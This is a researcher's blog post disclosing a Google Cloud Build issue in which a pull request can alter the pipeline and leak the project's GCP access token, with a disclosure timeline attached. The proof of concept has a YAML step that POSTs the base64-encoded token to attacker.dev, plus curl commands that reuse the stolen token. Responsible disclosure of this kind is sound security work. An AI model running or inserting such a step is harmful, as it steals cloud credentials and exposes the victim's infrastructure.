May I CI your GCP access token?

A lot of research has been conducted on attacking CI systems for gaining information or access to the infrastructure of targets. Some of the most interesting articles on this topic are:

Google Cloud Build

I like to host my private projects on GitHub using Cloud Build as their CI system and pushing images to Container Registry (check out Artifact Registry, the next generation of Container Registry).

Cloud Build allows developers to create a YAML file on their repositories and trigger different pipelines on events defined by them. An event could be:

  • New tag is pushed
  • Commit is pushed to master
  • Pull Request is opened
  • Commit to a branch that matches a regular expression
  • (…)

Cloud Build Triggers

Cloud Build can be configured to be triggered from GitHub. For more information see this guide.

Cloud Build trigger creation

The problem

Q: Wait, wait, wait! So, you can trigger a pipeline on the owner’s GCP project but the pipeline being entirely controlled by you? And you have access to gcloud and gsutil commands? Doesn’t that mean you can impersonate the GCP project owner?

A: Yes, indeed!

Proof of Concept

Scenario

The victim has an opensource project that runs Cloud Build as their CI system and it can be triggered by Pull Requests. Let’s say the intended behaviour is to run unit tests and linters on the received PRs. Their Cloud Build trigger must be configured to run the pipeline from the cloudbuild.yaml file or any other YAML file hosted on the same repo (common use case as far as I know).

Exploit steps

The attacker creates a Pull Request modifying the pipeline to leak the access token:

steps:
  - id: 'gcloud_token_leak'
    name: 'gcr.io/cloud-builders/gcloud'
    entrypoint: 'bash'
    args:
      - '-c'
      - 'gcloud auth print-access-token | base64 > output && curl -k -X POST -d @output http://attacker.dev:8000/bbac'

Where http://attacker.dev:8000/bbac is just an HTTP handler listening for POST requests and dumping their body to a file.

Then, the attacker decodes the leaked information and uses it to access the Google Cloud Platform API.

$ export STOLEN=$(cat dump.b64 | base64 -d)
$ curl -X GET \
    -H "Authorization: Bearer ${STOLEN}" \
    "https://cloudbuild.googleapis.com/v1/projects/REDACTED/triggers"
// REDACTED

If you are wondering how the project name is leaked to the attacker, gcloud projects list does it.

$ gcloud projects list
PROJECT_ID  NAME        PROJECT_NUMBER
REDACTED    REDACTED    REDACTED

That’s it, the GCP access token will be leaked to the attacker without the victim having to merge or approve the evil PR.

The patch

A fix was introduced to warn users while configuring a Cloud Build Trigger that gets triggered without an approval.

Cloud Build trigger creation

Timeline

Date Action
Apr 13, 2020 04:33PM Initial report. Issue reported as ability to leak some private environment variables from victim
Apr 17, 2020 07:45PM P4 -> P2. Assigned
Apr 19, 2020 01:43AM Won’t fix. Intended bahavior
Apr 19, 2020 12:12PM Exploitation scenario explained further
May 1, 2020 05:26PM Triaged. P2 S2. Internal issue created
May 1, 2020 05:30PM Nice catch! email
May 10, 2020 04:55PM Better PoC provided. GCP REST API access token exfiltration
Jul 1, 2020 04:55PM Automated message saying the report was fixed

Reward

The panel decided not to issue a reward, unfortunately.

After asking them for more details, I got this message.

unfortunately not all bugs meet the threshold for a reward.

I agree with Google’s decision as nobody knows their threat model better than them.

Written on July 14, 2020